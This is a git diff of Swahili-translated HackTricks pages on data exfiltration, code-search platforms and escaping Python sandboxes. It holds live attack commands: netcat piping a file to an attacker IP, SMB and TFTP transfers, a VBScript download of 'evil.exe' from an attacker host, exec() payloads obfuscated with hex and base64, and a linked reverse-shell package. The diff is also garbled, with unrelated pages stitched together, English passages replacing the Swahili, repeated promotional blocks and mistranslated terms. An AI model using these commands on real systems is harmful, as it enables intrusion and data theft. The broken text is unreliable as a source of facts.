* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Vyanzo vya kawaida vilivyowekewa orodha nyeupe kwa ajili ya kufyonza taarifa
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata vyanzo vya kawaida vilivyowekewa orodha nyeupe ambavyo vinaweza kutumiwa vibaya
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Nakili\&Banda la Msingi64
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Vyanzo vya kawaida vilivyoorodheshwa kwa ajili ya kufyonza taarifa
|
||||||
|
|
||||||
|
Angalia [https://lots-project.com/](https://lots-project.com/) kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya
|
||||||
|
|
||||||
|
## Nakili\&Banda la Msingi wa 64
|
||||||
|
|
||||||
**Linux**
|
**Linux**
|
||||||
```bash
|
```bash
|
||||||
|
@ -179,29 +187,25 @@ service smbd restart
|
||||||
```
|
```
|
||||||
### Exfiltration Techniques on Windows
|
### Exfiltration Techniques on Windows
|
||||||
|
|
||||||
#### Common Exfiltration Techniques
|
#### Clipboard
|
||||||
|
|
||||||
1. **Data Compression**: Compress data before exfiltration to reduce size and avoid detection.
|
The clipboard can be used to exfiltrate data by copying sensitive information and pasting it into a file or application on the attacker's system.
|
||||||
2. **Data Encryption**: Encrypt data to prevent unauthorized access during exfiltration.
|
|
||||||
3. **Steganography**: Hide data within other files to avoid detection.
|
|
||||||
4. **DNS Tunneling**: Use DNS protocol to exfiltrate data, bypassing firewalls.
|
|
||||||
5. **HTTP/HTTPS**: Use HTTP or HTTPS protocols to exfiltrate data over network.
|
|
||||||
6. **Email**: Send data as email attachments or within email body.
|
|
||||||
7. **Cloud Storage**: Upload data to cloud storage services for exfiltration.
|
|
||||||
8. **External Storage**: Copy data to external storage devices for physical exfiltration.
|
|
||||||
|
|
||||||
#### Tools and Resources
|
#### File Transfer Protocols
|
||||||
|
|
||||||
- **Netcat**: Command-line tool for reading and writing data across network connections.
|
File transfer protocols such as FTP, SFTP, and SMB can be used to transfer files containing sensitive data from the compromised system to the attacker's system.
|
||||||
- **PowerShell**: Windows scripting tool that can be used for exfiltration.
|
|
||||||
- **Covenant**: .NET command and control framework for exfiltration.
|
|
||||||
- **Empire**: Post-exploitation framework for exfiltration on Windows systems.
|
|
||||||
- **Mimikatz**: Tool to extract credentials from Windows systems for exfiltration.
|
|
||||||
- **PsExec**: Command-line tool to execute processes on remote systems for exfiltration.
|
|
||||||
- **Certutil**: Built-in Windows utility to decode/encode data for exfiltration.
|
|
||||||
- **Bitsadmin**: Built-in Windows utility to create and manage transfer jobs for exfiltration.
|
|
||||||
|
|
||||||
By using these techniques and tools, attackers can exfiltrate data from Windows systems without being detected easily.
|
#### Email
|
||||||
|
|
||||||
|
Email can be used to exfiltrate data by sending emails with attachments containing sensitive information to an email account controlled by the attacker.
|
||||||
|
|
||||||
|
#### DNS Tunneling
|
||||||
|
|
||||||
|
DNS tunneling can be used to exfiltrate data by encoding sensitive information in DNS queries and responses.
|
||||||
|
|
||||||
|
#### Web Protocols
|
||||||
|
|
||||||
|
Web protocols such as HTTP and HTTPS can be used to exfiltrate data by sending HTTP requests containing sensitive information to a web server controlled by the attacker.
|
||||||
```bash
|
```bash
|
||||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||||
|
@ -225,11 +229,26 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
||||||
```
|
```
|
||||||
## NC
|
## NC
|
||||||
|
|
||||||
### Swahili Translation:
|
### Data Exfiltration
|
||||||
|
|
||||||
## NC
|
Data exfiltration is the unauthorized transfer of data from a computer or server. Attackers use various techniques to exfiltrate data, such as:
|
||||||
|
|
||||||
### Tafsiri ya Kiswahili:
|
- **Email**: Sending sensitive data as email attachments.
|
||||||
|
- **FTP**: Transferring data using File Transfer Protocol (FTP).
|
||||||
|
- **DNS**: Sending data through DNS requests.
|
||||||
|
- **HTTP/HTTPS**: Using HTTP or HTTPS protocols to send data.
|
||||||
|
- **Steganography**: Hiding data within other files to avoid detection.
|
||||||
|
- **Encryption**: Encrypting data before exfiltration to avoid detection.
|
||||||
|
|
||||||
|
To prevent data exfiltration, organizations can implement measures such as:
|
||||||
|
|
||||||
|
- **Network Segmentation**: Dividing the network into segments to limit unauthorized access.
|
||||||
|
- **Data Loss Prevention (DLP)**: Implementing DLP solutions to monitor and control data transfers.
|
||||||
|
- **Access Controls**: Restricting access to sensitive data based on user roles.
|
||||||
|
- **Monitoring and Logging**: Monitoring network traffic and logging events for analysis.
|
||||||
|
- **Encryption**: Encrypting data at rest and in transit to protect it from unauthorized access.
|
||||||
|
|
||||||
|
By understanding common exfiltration techniques and implementing appropriate security measures, organizations can better protect their data from unauthorized access and leakage.
|
||||||
```bash
|
```bash
|
||||||
nc -lvnp 4444 > new_file
|
nc -lvnp 4444 > new_file
|
||||||
nc -vn <IP> 4444 < exfil_file
|
nc -vn <IP> 4444 < exfil_file
|
||||||
|
@ -270,13 +289,13 @@ sniff(iface="tun0", prn=process_packet)
|
||||||
```
|
```
|
||||||
## **SMTP**
|
## **SMTP**
|
||||||
|
|
||||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data na python:
|
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data kwa kutumia python:
|
||||||
```bash
|
```bash
|
||||||
sudo python -m smtpd -n -c DebuggingServer :25
|
sudo python -m smtpd -n -c DebuggingServer :25
|
||||||
```
|
```
|
||||||
## TFTP
|
## TFTP
|
||||||
|
|
||||||
Kwa chaguo-msingi katika XP na 2003 (katika mingine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
Kwa chaguo-msingi katika XP na 2003 (katika nyingine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||||
|
|
||||||
Katika Kali, **anzisha seva ya TFTP**:
|
Katika Kali, **anzisha seva ya TFTP**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -285,12 +304,12 @@ mkdir /tftp
|
||||||
atftpd --daemon --port 69 /tftp
|
atftpd --daemon --port 69 /tftp
|
||||||
cp /path/tp/nc.exe /tftp
|
cp /path/tp/nc.exe /tftp
|
||||||
```
|
```
|
||||||
**Server ya TFTP kwa kutumia python:**
|
**Server ya TFTP kwa python:**
|
||||||
```bash
|
```bash
|
||||||
pip install ptftpd
|
pip install ptftpd
|
||||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||||
```
|
```
|
||||||
Katika **mwenyeji**, unganisha kwenye seva ya Kali:
|
Katika **mwendazake**, unganisha kwenye seva ya Kali:
|
||||||
```bash
|
```bash
|
||||||
tftp -i <KALI-IP> get nc.exe
|
tftp -i <KALI-IP> get nc.exe
|
||||||
```
|
```
|
||||||
|
@ -302,7 +321,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
||||||
```
|
```
|
||||||
## VBScript
|
## VBScript
|
||||||
|
|
||||||
VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows. Inaweza kutumika kwa ufanisi kutekeleza mbinu za kuvuja data kwa kuchimba data kutoka kwa mfumo uliokaliwa na kuipeleka kwa seva ya mbali. Katika muktadha wa uchunguzi wa kuvamia, VBScript inaweza kutumika kama zana ya kuvuja data kwa kuchukua data nyeti kutoka kwa mfumo uliokaliwa na kuipeleka kwa mtu wa tatu au seva ya mbali.
|
VBScript ni lugha ya programu inayotumika sana kwa maendeleo ya skripti za Windows. Inaweza kutumika kwa ufanisi kwa madhumuni ya uhamishaji wa data kwa sababu ya uwezo wake wa kufanya kazi na faili za nje na mitandao.
|
||||||
```bash
|
```bash
|
||||||
Attacker> python -m SimpleHTTPServer 80
|
Attacker> python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
|
@ -340,14 +359,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||||
```
|
```
|
||||||
## Debug.exe
|
## Debug.exe
|
||||||
|
|
||||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka kwa hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
||||||
```bash
|
```bash
|
||||||
# Reduce the size
|
# Reduce the size
|
||||||
upx -9 nc.exe
|
upx -9 nc.exe
|
||||||
wine exe2bat.exe nc.exe nc.txt
|
wine exe2bat.exe nc.exe nc.txt
|
||||||
```
|
```
|
||||||
```sw
|
Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||||
Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
|
||||||
|
|
||||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||||
|
|
||||||
|
@ -355,10 +373,15 @@ Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.e
|
||||||
|
|
||||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -366,7 +389,6 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -1,43 +1,57 @@
|
||||||
# Utafutaji Mpana wa Msimbo wa Chanzo
|
# Kutafuta Msimbo wa Chanzo Kwa Upana
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Lengo la ukurasa huu ni kuorodhesha **jukwaa ambazo huruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye jukwaa moja au zaidi.
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
Hii husaidia katika hali kadhaa za **kutafuta taarifa zilizovuja** au kwa **mifano ya udhaifu**.
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
|
||||||
|
|
||||||
|
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo ya usalama**.
|
||||||
|
|
||||||
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
|
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
|
||||||
* [**Github Search**](https://github.com/search): Tafuta kwenye Github. Inasaidia regexes.
|
* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes.
|
||||||
* Labda pia ni muhimu kuangalia [**Github Code Search**](https://cs.github.com/).
|
* Labda pia ni muhimu kuangalia [**Utafutaji wa Msimbo wa Github**](https://cs.github.com/).
|
||||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta kwenye miradi ya Gitlab. Inasaidia regexes.
|
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
|
||||||
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni.
|
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Unapotafuta uvujaji kwenye repo na kuendesha kitu kama `git log -p` usisahau kuwa kunaweza kuwa na **tawi lingine na kuingiza siri nyingine**!
|
Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwamba kunaweza kuwa na ** matawi mengine na mabadiliko mengine ** yanayohusisha siri!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Kudukua mifumo ya kujilinda ya Python
|
# Kudukua Maboxi ya Python
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,19 +6,27 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Hizi ni baadhi ya mbinu za kudukua mifumo ya kujilinda ya Python na kutekeleza amri za kupita kiasi.
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
Hizi ni mbinu kadhaa za kudukua ulinzi wa maboxi ya Python na kutekeleza amri za kupita kiasi.
|
||||||
|
|
||||||
## Maktaba za Kutekeleza Amri
|
## Maktaba za Kutekeleza Amri
|
||||||
|
|
||||||
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyoshaa kuingizwa, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:
|
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kuingizwa, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -96,16 +104,16 @@ Unaweza kupakua pakiti ya kuunda shell ya nyuma hapa. Tafadhali, kumbuka kwamba
|
||||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa njia maalum ili wakati unapoondoka kwenye shell ya nyuma, usanidi mwingine utashindwa, hivyo **hutaiacha pakiti ya ziada ya python imewekwa kwenye server** unapoondoka.
|
Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa makusudi ili wakati unapoondoka kwenye shell ya nyuma, usanidi mwingine utashindwa, hivyo **hutaiacha pakiti ya ziada ya python imewekwa kwenye server** unapoondoka.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Kutathmini msimbo wa python
|
## Kutathmini msimbo wa python
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tafadhali kumbuka kwamba exec inaruhusu mstari wa maandishi wa mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus)
|
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia uwakilishi wa **hex/octal/B64** kwa ajili ya **kipuza** kizuizi:
|
Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia **uwakilishi wa hex/octal/B64** kwa ajili ya **kipuuzi** kizuizi:
|
||||||
```python
|
```python
|
||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||||
|
@ -126,7 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||||
```
|
```
|
||||||
### Maktaba nyingine ambazo huruhusu kutathmini nambari ya python
|
### Maktaba nyingine zinazoruhusu kutathmini nambari za python
|
||||||
```python
|
```python
|
||||||
#Pandas
|
#Pandas
|
||||||
import pandas as pd
|
import pandas as pd
|
||||||
|
@ -162,13 +170,13 @@ return x
|
||||||
#+AAo-print(open("/flag.txt").read())
|
#+AAo-print(open("/flag.txt").read())
|
||||||
""".lstrip()
|
""".lstrip()
|
||||||
```
|
```
|
||||||
Pia niwezekana kuidhinisha kutumia namna zingine za kuandika, k.m. `raw_unicode_escape` na `unicode_escape`.
|
Pia niwezekana kuihepa kwa kutumia taratibu nyingine za uendeshaji, k.m. `raw_unicode_escape` na `unicode_escape`.
|
||||||
|
|
||||||
## Kutumia Python bila kuita
|
## Utekelezaji wa Python bila simu
|
||||||
|
|
||||||
Ukiwa ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **kutekeleza kazi za kiholela, namna ya kuandika** na **maagizo**.
|
